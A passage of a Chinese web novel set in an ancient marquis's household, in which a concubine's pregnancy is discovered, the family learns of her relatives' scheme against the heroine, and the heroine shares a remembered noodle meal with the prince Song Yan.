是她疏忽了,这些日子净跟着大姐姐瞎胡闹,没怎么去关心姨娘。 姨娘身边的丫鬟叫甜杏,个子不高,长相十分憨厚,见林诗芸紧皱的眉头想了想还是道,“姨娘自前些日子从娘家回来心情便十分不好,经常唉声叹气的,但是您一过来她便换上笑容,奴婢们问姨娘出了何事,姨娘也不说,” 林诗芸叹了口气,点点头,继续问道,“姨娘是何时身体不适的?” “有些日子了,胃口十分不好,每日只用着清淡的食物,多数的时候,都坐在窗前发呆,奴婢,奴婢也不知怎么劝,今日是没办法了,姨娘只早晨用了一碗粥,午膳吃了几口全部吐出来了,还不准奴婢叫府医,奴婢,奴婢,” 林诗芸点点头,安慰道,“无事,我来了便好了,你们做的很好,” 这一路林诗芸别提多内疚了。 这么多年姨娘待她便如亲女一般,尤其自己刚回府时,每日细心的照顾自己,自己生病时,也是姨娘守在自己床前一夜又一夜。 如今姨娘病了,她竟然才知道! 她,她真是太不孝了! 林诗芸心中自责,姨娘回娘家这事是她去求的母亲,姨娘是带着大包小包的礼物和满怀的期待归家的,可是怎么会从娘家回来心情便不好了呢?姨娘不是说她哥哥嫂子待她极好吗?还是姨娘家中出了什么事情? 带着一路的忐忑,林诗芸终于来到了叶姨娘院里。 小院还是那样的简单干净,一个小丫鬟焦急的站在厢房门口张望着,待看到是林诗芸来了,忙不迭小跑上前行礼道,“姑娘,姨娘刚刚又吐了,奴婢要叫府医,姨娘就是不准,” 小丫鬟都快急哭了。 林诗芸边往里走边道,“有我呢,别担心,府医马上就到,你先去煮些粥去,姨娘一会定会饿的。” 小丫鬟忙不迭点头,摸着眼泪去干活了。 叶姨娘性子和善,从不苛待她们这些丫鬟,她们都是真的担心姨娘的身子。 只是姨娘执拗,从来生了病多数都是熬过去的,轻易不去惊动府医,唯恐给四姑娘添麻烦。 这些林诗芸也知道,她急急忙忙推门进屋,入眼看到的便是半靠在床上,脸色苍白的姨娘。 林诗芸眼泪一下便掉落下来了。 小跑过去一把攥住了姨娘的手一脸关切道:“姨娘怎的这般不爱惜自己,不舒服也不叫府医过来看看,也不差人告知芸儿,您叫女儿,叫女儿,” 叶姨娘一看林诗芸掉泪也急了,她挣扎着起身,安抚林诗芸道:“姨娘无事,就是有些没有胃口,别听她们说,姨娘自己的身体姨娘知道,无事的,莫哭啊,芸儿都长成大姑娘了,可不能再像小时一样爱哭鼻子。” 林诗芸抽了抽鼻子,“您不爱惜身体芸儿才哭的,芸儿知道姨娘是怕麻烦,可是姨娘,芸儿想您健健康康的,一直陪着芸儿,您别委屈自己好不好,芸儿害怕。” 林诗芸一张小脸觉得梨花带雨的,她上辈子只奶奶一个亲人,这辈子好不容易有了亲人,她是万不能再轻易失去的。 古代医疗条件不比现代,小小的风寒便可夺去一人的性命,她怎能不担心。 看到林诗芸着急的模样,叶姨娘心里感动的厉害,想到兄嫂逼迫自己的事情,心中已经有了决断,兄嫂不对!她该当断则断才是! 夫人说了,她就是芸儿的娘亲,一辈子都是芸儿的娘亲,她不会伤害自己的女儿,这辈子都不会! 府医来的很快,娘俩还未互诉衷肠,府医便到了。 林诗芸急忙让开叫府医给姨娘把脉,府医是位沉稳的中年男人,隔着帕子静默了半晌,又皱着眉头问了叶姨娘几句,最后竟笑着恭喜道,“恭喜叶姨娘,姨娘无事,只是有了两月的身孕,有些害喜罢了。” 府医摸了摸胡子道,“只是还是吃几幅安胎药比较妥当,姨娘无需多虑。” 林诗芸有些懵,姨娘无事?姨娘只是怀孕了害喜? 叶姨娘也是呆愣当场,好半晌都没反应过来,脑子里只剩下府医的那句她怀孕了? 她怀孕了?已有两个月? 不是,她真的怀孕了?入府十余年,她终于有了身孕! 叶姨娘呆住了,林诗芸懵懵懂懂,还是叶姨娘身边的大丫鬟反应过来,忙给府医递了赏钱。 林诗芸终于反应了过来,望着激动到正在掉泪的姨娘也红了眼眶 。 只是还得先将府医送出去才是,“今日多谢您了,烦请您老将注意事项都告知与丫鬟,” 府医忙点头称是,同姨娘的丫鬟嘱咐着什么。 林诗芸又对听雨小声道:“你去送送王老,顺便将这事告知母亲,再将安胎药取来。” 她一个未出阁的姑娘家,自是不知如何照顾孕妇,且姨娘刚怀孕两月,需要注意的事情可多着呢,母亲是当家夫人,还得母亲安排才是。 她没去考虑姨娘怀孕母亲会不会不高兴,姚氏不是苛待妾室的人,对于叶姨娘怀孕一事,听到了应只会觉得欣慰。 林诗芸坐到姨娘床前,拿着帕子帮姨娘擦泪,笑道:“大喜的事情,姨娘作何要哭?您入府十余年,也盼了十余年,如今终于苦尽甘来了,可不能哭,您一哭,再伤到我小弟怎么办?” 她边说还轻轻的抚上了叶姨娘的肚子。 真好,姨娘终于要有自己的孩子了。 叶姨娘不住的点头,红着眼睛看着芸儿,又低头轻轻附上了芸儿抚摸自己小腹的手,又哭又笑道:“不论是弟弟还是妹妹,姨娘都不会疏远芸儿的,芸儿永远都做姨娘的孩子,好不好,” 林诗芸笑着点头称好,“无论芸儿在哪里,芸儿都是姨娘的女儿,芸儿也会帮姨娘照顾弟弟妹妹的,姨娘放心吧,芸儿开心,芸儿不吃醋。” 姚氏来的时候,娘俩正哭做一团,给姚氏看的哭笑不得,忙将两人给拉开。 姚氏看着林诗芸哭红的小脸嗔怪道,“你不好好劝慰你姨娘,怎的还跟你姨娘一块哭起来了?马上及笄了,羞不羞?” 林诗芸躲到王妈妈身后嘿嘿的傻笑,“芸儿也高兴嘛,母亲别怪人家。” 姚氏知这孩子心情,无奈道:“出去玩了一天可累着了?你二姐姐定等着你用膳呢,你且回去跟你二姐姐一起用膳,这里有我,你一个姑娘家什么也不懂,母亲留下同你姨娘说话。” 说完姚氏同王妈妈递了个眼神,王妈妈心领神会,慈爱的将林诗芸从身后拉了出来,林诗芸自是知道姚氏有事安排,乖乖的向两位长辈行了礼便跟着王妈妈又蹦又跳的走了。 林诗芸从小便喜欢王妈妈,一路上叽叽喳喳的同王妈妈说着自己今日在山中的英勇,“您不知道,我可厉害了,一箭就射中了兔子腿,那兔子还想跑呢,被春雨又一箭给射中了头,嘿嘿,那~么大一只大肥兔子,下了山我便叫人给烤了,可好吃了。” “妈妈晚膳定能吃到今日的兔子,我们猎了好多只呢,各房都送了的,二哥哥三哥哥还猎了头鹿,还有头黑黑的野猪!那么肥那么大,不过最后都给表哥他们分了,剩下的才给带回来了,您晚膳一定多用些啊,” 王妈妈听着林诗芸的絮絮叨叨不住的点头,“好,姑娘和少爷们猎的,老奴一定好好尝尝,” 这边二人说的高兴,那边叶姨娘待林诗芸一出了院子便给姚氏跪下了。 姚氏皱着眉头起身要将人扶起,叶姨娘却不愿,她执拗的跪在地上对姚氏道:“夫人,妾心里有愧。” “妾,前些时日归家,满心喜悦,却不想兄嫂却逼妾将芸儿嫁给侄儿,妾不肯,他们便拿妾母亲的命相逼……” 姚氏震惊! 小小庶民!竟敢肖想侯府千金?! 最多不过是个妾室的娘家,竟敢将心思打到我侯府女儿身上了! 姚氏眼神陡然凌厉,沉声道,“你可动了要嫁芸儿的心思?” 叶姨娘跪在地上不住的摇头,梨花带雨言辞恳切,“没有,妾真的没有,四姑娘是妾看着长大的,妾怎会有那种想法,四姑娘那样好,合该配天底下最好的男子才是啊!” 她也不敢啊,这是侯府,随随便便一个理由便能叫她求生不得求死不能,她哪里会敢! 只是,只是对哥嫂威胁她的事情,她总觉得心里有了根刺,如今她又有了身孕,她必须远离兄嫂!不能叫他们真的算计到自己身上去!从前他们对自己的好已经成了过眼云烟,人一旦变了,就不会再是从前的他们了! 她只有将此事告知夫人才能免于他们的算计! 姚氏瞬间便明白了叶姨娘的想法。 她定定的看了叶姨娘半晌,叹息一声,“罢了,你且起来吧。这事情怪不得你,只是防人之心不可无,以后你便跟家里断了吧,府里不会再叫他们递信进来了。” 叶姨娘点头,终于起身。 姚氏叹了口气,叫她坐下才道:“你这孩子来的实属不易,是你的福报,你也算是苦尽甘来了,只是有些事情,我觉得还是需要你知晓。” 姚氏也不管叶姨娘愕然的表情,自顾自继续说道:“算算日子,孩子应是你生辰那日怀上的。” “那日是你的生辰,芸儿为了哄你开心,早早的便去找了我,问能不能叫她父亲去陪你过个生辰,我自是应允的。你在府里多年,我早已将你当成了自己人,二爷虽不经常去,但是我们心中都是记挂着你的。” 姚氏想到那日的天气,叹了口气,看了眼又在掉泪的叶姨娘继续道:“那日下着大雪,北风刮的人脸生疼,可芸儿却一直守在归家的路上等着她父亲回来,一见二爷便开始撒娇卖乖,硬是央着二爷去给你过生,连礼物都是芸儿一早准备好的,那是她花了好几个月的月钱给你买下的金簪。二爷当日用了些酒,他本就疼女儿,自是没有不应的,差人告知了我一声便宿在你那了。算一算,这孩子也是亏了芸儿才能托生到你肚子里……” 第24章 姚氏从叶姨娘院里出来时天已经很黑了。 夜色漫漫,不知何时淅淅沥沥的下起了小雨。 春雨湿冷,将林诗芸送至芳菲苑的王妈妈抱着个披风疾步而来,忙给姚氏披了个严实。 王妈妈接过丫鬟手中的油纸伞,主仆二人边走边说话。 王妈妈道:“夫人面色怎的不好,可是有些冷了?” 姚氏叹了口气,在外面自是不能多说,摇摇头只道:“我不冷,只是看叶姨娘终于有了孩儿,心中有些感慨罢了。” 王妈妈点点头,同为女子,她自是明白自家夫人在感慨什么,“夫人且放心,陈妈妈已经来了信,不日便到了,她早就盼着回府了。” 陈妈妈是从前一直跟在林诗芸身边照顾的管事婆子,三月前生了孙儿请了长假照顾孙子去了,如今儿媳已经可以独自照看孙儿,她这便回府做事了。 姚氏点了点头,“嗯,这几月便叫她去照顾叶氏吧,叶氏这些年也不容易,芸儿极为信赖陈妈,有她在,芸儿会更放心。” 提到林诗芸,王妈妈自是笑着称赞,“院里已经备好了晚膳,好多野味呢,四姑娘跟老奴说了许多山中趣事,叮嘱老奴一定要您多尝尝那兔子肉,可是她们费了好大的功夫才捉到的呢,” 一路说着话,很快便回到了主院。 姚氏换上了舒适的衣裙,净了手叫丫鬟退了干净才将叶姨娘兄嫂对林诗芸的算计同王妈妈说了。 王妈妈一脸震惊,“这,这对夫妇真是好大的胆子!竟然算计到咱们侯府千金身上了!这还了得!” 姚氏叹了口气,刚要开口便听一道男声传来,“算计咱们侯府千金?是出了何事?” 姚氏和王妈妈对视一眼,忙起身相迎。 姚氏看着今日早早归家的丈夫道:“二爷今日怎的这样早?可用膳了?” 林怀诚笑着摇摇头,“这阵子忙,未曾陪你用过晚膳,今日芸儿早早的便差了人递了口信,说是跟着几个哥哥上山打了些猎物来,叫我早些归家陪你用膳,女儿的话我自是要听的,” 说完摸了摸胡子,哈哈笑了两声,心情很好的模样。 姚氏笑着称是,怕饭食冷了,叫王妈妈去叫人将饭菜热热,手上给丈夫宽衣的动作却是不停的,“芸儿这孩子,自小就妥帖的很,今日跟着明哥儿 晟哥儿上了山,还抓了四只活的小兔,非说要养在府里,再生好多兔子养来吃呢,” 想到小女儿欢快的模样,林怀诚笑意加深,突然想到刚进屋时听到的话,开口问道:“可是出了事情,夫人怎的说谁算计咱么侯府千金?” 姚氏自是不会隐瞒,将叶姨娘怀孕和其兄嫂算计林诗芸的事情说了个清楚。 林怀诚怒极,什么东西也敢妄想我的女儿! 林怀诚冷哼两声才道:“夫人且安心,这事我自会叫人查个清楚,不日便叫这一家滚出京城,至于叶氏,” 贱民而已,他林怀诚还不放在心上,打杀了倒不至于,撵的远远的便是!不知好歹的东西! 至于叶氏怀孕,他已有二子二女,且都很优秀,长子天资聪颖,大女儿豁达知礼,二女儿娇憨懂事,幼子虽顽劣,但是聪明机灵,叶氏有孕,不论男女,生下来好好养着便是,他林怀诚的孩儿,必定不差的。 “叶氏进府十余年,一直老实本分,她此番也跟她娘家断了关系,有个孩子也好,省得她想东想西的,只是辛苦夫人了,还得夫人选几个有经验的去照顾着。” 林怀诚想到了什么,老脸一红,伸手握住了正在给他整理衣冠的妻子的手,“只是叶氏有了身孕,夫人千万别多想,为夫心中只夫人一人,为夫,” 姚氏被丈夫说的脸颊都红透了,忙上前捂住了丈夫的嘴,嗔怪道:“都老夫老妻了,说这些作甚,去去去,赶紧去用膳,你不饿我还饿了呢。” 这边老夫老妻浓情蜜意,那边姐妹情深也正用膳。 林诗芸嘴里嚼着鹿肉不住点头,“还是咱家厨子手艺好,这道炙鹿肉火候正正好,鲜嫩多汁,入口即化,味道十分不错,姐姐快尝尝。” 边说边给林诗情夹了一块。 林诗情最爱看妹妹用膳,点点头,又给林诗芸夹了块菜心,“吃了那么多肉,再用些青菜帮助消化,” 林诗芸笑着点头,乖乖吃下青菜。 晚上的主食是荠菜馄饨,当真是鲜美,林诗情见小妹吃的香还又给挖野菜的几个赏了半月的月钱,可给几个丫鬟高兴坏了。 林诗情拦住了林诗芸要再叫人盛碗馄饨的手,“晚间别用太多,今日甚是乏累,你且先去沐浴,一会姐姐找你说话。” 林诗芸确实是饱了,却没有很饱,但她最听姐姐的话,姐姐不叫她用,她便收回了想再吃些东西的手,乖乖的回了自己院子沐浴去了。 林诗芸沐浴时不喜人打扰,只是摸了摸有些酸疼屁股又撇到大腿外侧的淤青,终于还是叹了口气,这是啥身体啊,就摔了那么一下就青紫了,也太嫩了些。 想了想还是唤了春雨进来,小声的说自己屁股和腿摔青紫了,叫春雨去寻些药酒来给她抹抹。 春雨登时脸就白了,结结巴巴的叫林诗芸给她看看伤的什么样,林诗芸无法只好从水中出来叫春雨看了看。 春雨急的眼泪都掉出来了,怪她!是她大意了!她真没注意到姑娘受伤了! 林诗芸忙出声,“可别,千万别哭啊,叫姐姐发现了可就糟了,你赶快去寻些药酒来,注意一定悄悄的,趁着姐姐没来赶紧给我抹抹,” “哎呀我真没试着多疼,快去,不然姐姐就要过来了。” 想到二姑娘,春雨只得点头,赶忙小跑着去房间里找药酒去了,她常年习武,跌打损伤的药酒常年备着。 林诗芸匆忙洗了个澡,听雨帮她擦干了头发便被她寻了个借口给支出去了,她见春雨拿来了药酒,忙趴在床上叫春雨帮着抹。 春雨须得手上用力将淤青给揉开才行,林诗芸将脸埋进枕头里,疼的是龇牙咧嘴的,她怕自己发出声音引来姐姐,愣是咬着牙没敢发出任何的动静,只是头上那密密麻麻的汗还是出卖了她是有多疼。 她心里直叹气,上辈子被那个便宜后妈给推下了楼她愣是一点事没有,这辈子到底是娇惯了,这小身板金尊玉贵的,掉坑里摔了一下都能摔出淤青来。 她这边想的乱七八糟的,不知何时身上推药酒的力道轻柔了不少,只觉身上更清凉了一些,十分舒服。 转头刚想对春雨夸赞两句,便见是林诗情沉着一张脸在给她推药酒呢。 她张了张嘴,老老实实的叫了一声姐姐。 林诗情只嗯了一声,手上加大了力道继续揉搓,林诗芸疼的只抽冷气,却是一句话不敢多说的,这事儿确实是她理亏,没告诉姐姐,姐姐生气是应该的。 好不容易推完了药酒,林诗芸只觉得这个澡是白洗了。 去净室简单擦洗,又换上了干净的里衣这才回到卧房,老实的站在塌前等着姐姐训斥。 林诗情一身洁白的里衣,手上捧着一本书,很明显的是要留宿在此。 她将书本收起,看着低着头的妹妹终是叹了口气,起身牵着妹妹的手一起坐下才道:“我不是气你受了伤,我是气你受了伤却不重视,硬生生忍了一天才告知春雨。” 林诗芸怕春雨受罚,急忙解释道:“姐姐,这事真的跟春雨没什么关系,是我自己不注意掉坑里的,我当时,当时真的没觉得自己摔伤了,我一点都不疼的,我” 看着姐姐越来越严肃的眼神,林诗芸立马住了嘴,头也不自觉的越埋越低,林诗情也不说别的,只皱着眉头道:“我知道,但你受了伤,是事实。” 林诗情一向赏罚分明。 她抬眸对着站立在一侧的春雨道:“春雨罚两月的月钱,可有异议?” 春雨忙说不敢,确实是她自己的疏忽,姑娘疼了一日她都不知,这事打她板子都不为过,如今二姑娘只罚她月钱,已经极轻了。 林诗情终是顾忌着妹妹的面子不忍多说,叹了口气对春雨道:“你跟着芸儿在山上累了半日,便早些下去休息吧,今夜听雨当值。” 听到春雨的处罚,林诗芸顿时松了口气,还好还好,姐姐没罚太重,不然她要内疚死了。 林诗芸抿着唇,小心翼翼的看着姐姐,知道姐姐是在白日就发现了她的不妥,晚间这才过来的,她知道那药酒同春雨拿来药酒的不同,怕是姐姐辛苦寻来的。 她抱着姐姐的胳膊讨好道:“我知道错了,姐姐别生气,今日是我不对,好不容易出去一日,便忘乎所以,以后不会了,我发誓,我以后不会叫自己受伤的,会好好爱惜自己的身体,姐姐不要生气了嘛~” “姐姐最疼我了,看在我已经认错且知错就改的份上,你就别生气了好不好……” 在林诗芸的胡搅蛮缠之下林诗情终于松了口,只还是叮嘱了半晌林诗芸以后断不能如此不爱惜身体。她们本就是金尊玉贵的,没有什么比她们自己的人身安全更重要了。 晚间,姐妹俩躺床上聊天。 想到白日的事情,林诗芸靠在姐姐肩头小声道:“姐姐,你说大姐姐喜欢什么样的男子啊?” 林诗情扯了扯嘴角,笑道,“你是想说郑世子?” 林诗芸讶然,“姐姐也看出来了?” 见林诗情点头林诗芸才继续道:“三姐姐也看出来了,我瞧着大哥哥也是,那个郑世子,眼神也太露骨了些,生怕咱家人看不出他喜欢大姐姐吗。” 林诗情嗯了一声,她也不知郑子墨今日为何这般反常,只道:“我也不知大姐姐会喜欢什么样的男子,但是瞧着今日郑世子没吸引到大姐姐的注意,” 林诗芸点点头,想到表哥,看着姐姐好奇道:“姐姐,你喜欢什么样的男子?” 像表哥那样的吗? 这话林诗芸没敢问出口,她怕经过自己的提醒,姐姐再注意到大表哥那个狗东西。 林诗情认真思考了半晌,摇摇头道:“我也不知,我还没遇到叫我心悦的男子,你呢?只喜欢长的好看的?” 林诗情的问题直接问到了点子上,林诗芸嘿嘿道:“嗯,我喜欢长的好看的,瞧着都能多吃两碗饭,” “我这一生的追求便是美食加美男,嘿嘿,别的便无所求了。 ” 林诗情被林诗芸逗笑了,“那你是不是要找个厨子?长的好看的,美男厨子?” 林诗芸用锦被捂着嘴巴咯咯直乐,“也不是不行,又会做饭长相又下饭,嘿嘿,就是不知道爹爹会不会同意了……” 第25章 不算是静谧的夜,春雨滴答,伴随着清脆悦耳的雨声,姐妹俩渐渐进入梦乡。 虽说是春日,夜里还是冷的。 室内的地龙烧的暖,林诗芸枕着手臂睡的安稳,应是做了极好的梦,唇角上扬小脸也红扑扑的,是一脸幸福的模样。 另一边在外出差的宋晏尚未就寝。 距京城两百余公里的小镇,此时也淅淅沥沥地下起了雨。 结束了一天公务的宋晏挥了挥手,皱着眉头听了半晌外头的雨声,紧了紧身上的披风,叫人都下去了。 他已经出来几日,也不知芸儿这几日在作何,有没有想起他。 待秋日里芸儿便及笄,提亲的事情也该提上日程。 只是父亲那乱糟糟的后院,母亲又是那争风吃醋的性子…… 他不想大婚后芸儿在双亲身边受委屈,哪怕一丁点儿也不行,还得秉明皇伯父,再给他赐个府邸搬出去才好,至于于礼合不合,他管不了那么多。 伸手拿起手边的几页纸,他翻看了半晌,眉目终于舒展开来。 能叫他记挂在心上的,如今唯芸儿一人。芸儿爱吃,他便寻来天下的美食叫她享用。 几张纸上是他路过各地寻到的食谱,回京后叫厨子将食谱再精细一番,到时邀芸儿来品尝,她定会极为高兴。 知道芸儿在吃食上的执着,纯粹是偶然。 那日是他十六岁生辰。 母亲为着父亲又纳的妾室刚发完好大一通火,他去请安时正巧碰上了。 很多次这样的情况,母亲多数都是在抱怨父亲的不忠,他从未做过任何的回应,他只是听着,等母亲说累了才离开。 父母间的吵闹,他早就已经习惯了。 至于父母未有一人在意他的生辰,他也已经习惯了。 只是今年又有些不同。 奶嬷嬷去世了,再也没有会为了给他庆生,一大早便亲手给他煮一碗长寿面的人了。 父亲和母亲的礼物早就给了,是庄子和银钱。 他应该高兴的。 他什么都有,生在皇家,天潢贵胄锦衣玉食。 他想双亲是疼爱他的,不然父亲也不会只生了他一个儿子,皇伯父还早早的便拟了旨意,端王之位只能是他的。 但是他还是不高兴,他甚至觉得很寂寞,很孤独。 直到,他遇见了那个活泼明亮的小姑娘。 那日的芸儿是自己偷偷跑出侯府的,是的,又是翻墙。 彼时的他刚从宫中领了赏赐出来,不用上学,也不想归家,他挥退了下人,漫无目的的在街道上闲逛,路过一家面馆驻足了片刻,刚要进门,便见一个身着鹅黄色衣裙的小姑娘从自己身侧小跑进去。 已经过了用膳的时间,面馆里头没什么人。 小姑娘对着店家问好后便迫不及待的问今日可是有牛肉,店家一听便知是老顾客,小姑娘点了两碗牛肉面,并两道小菜便在一旁坐了下来,手上拿着筷子,腰板挺的笔直,颇有些正襟危坐的意思。 宋晏见是林诗芸,勾了勾唇角,大步走面馆。 林诗芸却丝毫未注意,她抿着嘴时不时看向后厨的方向,眼神中充满了对吃食的渴望,连宋晏何时坐到她旁边都不知道。 宋晏看到她这副馋猫的样子,轻轻的笑出了声。 林诗芸这才发现身边不知何时坐了个人,还是她一直念念不忘的神仙哥哥。 看到熟人,还是宋晏,林诗芸十分之惊喜,忙道:“晏哥哥,你怎的在这?你也来吃面吗?” 见宋晏点头,林诗芸一脸遇到了知己的模样,“真巧,我也是,这家的面真的超好吃,我偷摸的来过一次了,上次我吃三碗面呢,今日难得有牛肉面,晏哥哥来的真巧!” 说到三碗时她还比了个三,脸上还带了点骄傲,一点也不觉得姑娘家吃的多是什么丢人的事情。 古代牛肉不好找,耕牛都是登记在册的,不得随意宰杀,店家今日不知在何处寻来的牛肉,采买的婆子就馋这一口,同旁人闲聊的时候被林诗芸院里的小丫鬟听了一耳朵,回去叽叽喳喳同旁人说的时候又叫林诗芸给听见了,这不,也不知是寻了什么方法将下人给甩下偷摸的跑了出来,就为了吃上这一口。 宋晏虽然有些惊讶小姑娘的饭量,但却觉得林诗芸十分的率真可爱,同别家的千金小姐相比,林诗芸才是真实的模样。 他点点头,笑着道:“你确实比晏哥哥厉害,” 他看了眼别桌店家还未来得及收起的碗筷道:“这么大的碗,我最多吃两碗。” 林诗芸点头,眼睛弯成了月牙儿,这时面和小菜都送了上来,林诗芸舔了舔唇角,对店家道,“一碗放我这,一碗放晏哥哥这,芸儿请哥哥吃,千万别客气昂~” 小姑娘的声音甜蜜,语调轻轻扬起,宋晏只觉得自己像是泡在了泉眼里,浑身清爽透彻。 店家将面和卤肉放好,说了句小心烫, 林诗芸看到对着牛肉面一脸若有所思的宋晏,忽然像是想到了什么,又对店家道:“再来两碗鸡汤面,其中一碗卧两个荷包蛋,” 林诗芸估摸着宋晏是第一次来这种小面馆,便帮着宋晏递了筷子,又问他要不要辣椒和醋,小料都加完之后,这才大口大口的吃了起来。 林诗芸一边吃一边小嘴叭叭个不停,一点儿也不拿宋晏当外人,她最爱的烤鸭在哪条街,哪个小摊的油条炸的好,谁家的煎饼最香,状元胡同那儿有个物美价廉的点心铺子。 宋晏时不时的也会插上一句两句。 小姑娘的吃像很好,吃到满意时还不住的点头,叫他不自觉的也胃口大开。 待上了鸡汤面,林诗芸径直将卧了两个荷包蛋的面推到了宋晏面前,“晏哥哥吃,我用了午膳出来的,已经差不多饱了,我吃这碗,你吃这碗,来,开动吧。” 宋晏瞧着面前似曾相识的面,顺从的拿起筷子吃了起来。 他其实已经饱了,他的饭量,断然不到能吃完两碗汤面的程度,可是他看着汤面里的两个蛋,诡使神差的竟全部给吃光了,待他反应过来,肚子已经撑的不像话。 林诗芸一直在絮絮叨叨地说话,吃撑了的宋晏忍着笑意出声给打断了,问了句:“你今日怎的一人出来?丫鬟和护卫呢?” 林诗芸咽下最后一口面,掏出帕子擦了擦唇角,抿着嘴看了一眼宋晏,小表情里写满了心虚,她轻咳一声小心试探道:“我,我是偷跑出来的,晏哥哥可不可以帮我保密?” 宋晏一听偷跑出来的,顿时收敛了脸上的笑意,挥了挥手,门外两个下人走了进来。 宋晏此番动作给林诗芸吓坏了,她紧张的看着宋晏,心中直呼不会吧不会吧,神仙哥哥不会是想差人将她给送回去吧!那她不完蛋了!叫姐姐知道不会打她一顿吧?完蛋了她要挨揍了! 宋晏却只跟下人道了句,结账,将方子买了全部送至定安侯府。 林诗芸一听结账二字顿时心口一松,待听到后面的内容的时候两个眼睛睁的大大的,不是,宋晏说的是,将方子买了?送至侯府? 给她的?! 哎吆我去! 这是怎样的财大气粗啊! 古代版霸总啊这是! 宋晏看到林诗芸的表情从忐忑到震惊,眼中的笑意又多了几分,他忍着笑转身道:“走吧,我这便送你回去。” 林诗芸回过神来,想跑已经来不及了,宋晏在马车上回过头注视着她,脸上写满了赶快上来。 林诗芸撅了噘嘴,知道自己逃不走,这才不情不愿的上了马车。 只是坐下也不老实。 她挑起窗幔看着马车方向,坐在宋晏对面支 支吾吾道:“晏哥哥,你不是要送我到正门处吧?” 宋晏看着小姑娘害怕的模样勾了勾唇角,他是真的想知道小姑娘是从何处翻出来的。 就侯府的那个高墙,常人是翻不过去的。 “不然呢?送你至后门?” 林诗芸想不出什么办法来,只好破罐子破摔道:“我是从下人房那边的墙翻出来的,晏哥哥别将我从正门送回去可好?被我姐姐和母亲知道了,我定是要挨罚的,姐姐打手板可疼了。” 林诗芸低头对手指,低着头脸颊红红的,声音越说越小。 宋晏看着林诗芸身上明显不是很合身的衣裳早已了然,小丫头怕是偷偷穿了丫鬟的衣裳翻墙出来的。 他起了逗弄的心思,忍着笑意,清了清嗓子道:“哦?你何时发现的那处墙能翻出来?跑出来几次了?” “你姐姐,又是为何打你手板?你且说说,我若听的满意,便送你去翻墙,可行?” 林诗芸抬眸,正对上了宋晏那双笑意盈盈的眸子,瞬间明白这人是故意逗自己呢,哼了一声撅着嘴道:“我这才发现没多长时间,就跑出来两次便遇到你了,” 知道宋晏没有恶意,她便没了顾忌,“我姐姐上次打我手板是因为我骗她说做完了功课,其实没做完,还被先生给罚了,回府又被姐姐给打了,” 她十分夸张,睁大了眼睛对着宋晏道:“我姐姐打人可疼了的,晏哥哥,你不能眼睁睁的看着我挨打吧?” 小姑娘一双水润的桃花眼,紧张兮兮的盯着他,小模样可怜巴巴的,他确实是不忍她挨打的,没绷住笑出了声,轻轻摇了摇头。 林诗芸笑的狡黠,竟直接伸出手来,小拇指勾住了他的小指道,“晏哥哥一定要帮我保守秘密啊?咱们拉钩!谁说出去谁是小狗!” “拉钩上吊一百年不许变,再盖个戳,这就是属于咱们只见的秘密了,晏哥哥不能反悔啊!” 也不管人家是什么反应,大拇指迅速的盖上了对方的大拇指。 林诗芸像是一只获得了胜利的小狐狸,挑着眉眼笑作一团,身子笑的一抖一抖的,小脸红扑扑的就像是秋日的水蜜桃一般鲜嫩。 宋晏呆呆的看着小姑娘的动作,呼吸微滞,耳尖已经泛起了红色,她的手小小的,又软又滑,她的笑容明艳,灿若桃花 后来的宋晏一直晕晕乎乎的,连叫小姑娘保证以后不再翻墙一事都忘了。 直到马车拐进巷子深处他才清醒了过来。 只是林诗芸在要蹦下马车的时候,又突然回头小声的跟他说了一句,晏哥哥,生辰快乐! 这一句话又叫他失了神。 林诗芸说完便头也不回的跳下了马车,待宋晏反应过来之后,看到的便是车夫一言难尽的表情,和墙上一闪而过跳下去的身影。 她怎得知道今日是自己的生辰? 想不出答案便不再去想,宋晏摇摇头,对着空气道了句:“去请林世子到醉云楼一聚。” 侯府的墙,合该再加高个一丈才是。 他自是不会说她翻墙的事情,但是这个墙,是非加高不可的。 不知从哪闪出个人影,躬身道了是又闪没了。 宋晏又看了眼侯府的围墙,笑着摇了摇头,放下车帘又捂着自己吃撑了的肚子,叹了口气,这才吩咐车夫走了。 回忆至此,宋晏摇头轻笑,那日确实给他撑到了,回去吃了消食丸才舒服一些。 只是他到现在都不知,芸儿是如何得知的那日是他的生辰,给他叫的面里,还那么巧的卧了两个荷包蛋。 第26章 最美人间四月天。 春风送暖,不用早起上学,也不用晨昏醒定,再加上屁股上有伤,林诗芸已经睡了几日的懒觉了。 这日林诗情一大早的便过来了,十分之强硬的将林诗芸从被窝里给捞了出来,林诗芸睡眼惺忪的瞧着姐姐,一点起床气都不敢有的。 林诗情将她散落的长发别到耳后,轻声哄道:“今日父亲休沐,你不是念叨有些日子没见父亲了?赶紧去梳洗,咱们一起同父亲母亲用早膳,二哥哥怕是已经到了。” 林诗芸乖乖的点头,利索的下床进了净室。 姐妹二人相携而走,春光明媚,空气中充满了花朵的香气,叫早起的林诗芸心情也愉悦起来。 姚氏的院里林景明早已到了,只是小弟林景贤闹着要出去玩一会,林景明无法,为着拉进同幼弟的关系,便带着小弟又出了院子。 姐妹二人到的时候姚氏正同陈妈妈说话。 丫鬟将二人迎了进来,姐妹二人见礼后林诗芸便瞧见了恭敬的立在姚氏一旁的陈妈妈。 林诗芸惊喜非常,忙扑到陈妈妈身前将人抱住,三个月了,陈妈妈终于回来了。 “妈妈你何时回来的?芸儿好想你啊,” “妈妈近来可好?怎么瞧着妈妈您都瘦了!” “妈妈受累了,家中可安顿好了?您孙儿可好?哎呀芸儿超想您的,” 这小嘴叭叭的跟吃了蜜似的,将陈妈妈哄的一张脸笑成了菊花,眼眶也红红的,分明是被这小丫头的甜言蜜语给感动到了。 陈妈妈嘴上哎吆哎吆的说着好,妈妈都好,妈妈也想姑娘了,心里感动的不像话,到底是自己看着长大的姑娘,在陈妈妈心里,姑娘跟自己孩子没什么区别,又想到姑娘托人给孙儿送的小金锁,陈妈妈心中就更热了。 王妈妈看着抹泪的陈妈妈笑着打趣:“瞧咱们姑娘对陈婆子的热乎劲,奴婢看了都醋呢,” 姚氏和林诗情在一旁早就笑开了,就林诗芸的一张小嘴,哄个把人不还是轻而易举的事情。 姚氏倒是真的欣慰,这孩子瞧着心大,其实谁对她好心里门儿清,她会刻意讨好,但是不会曲意逢迎,也没有坏心思,对待对她好的人,她会加倍的对人好,她的关心俱是发自真心真情实意。 陈妈妈被王妈妈说的破涕为笑,“那可不行,姑娘可得雨露均沾,姑娘快去抱抱王婆子,省得她吃味呢。” 林诗芸咯咯的笑着点头,竟还真去给了王妈妈一个熊抱,一时间屋里丫鬟主子笑做一团。 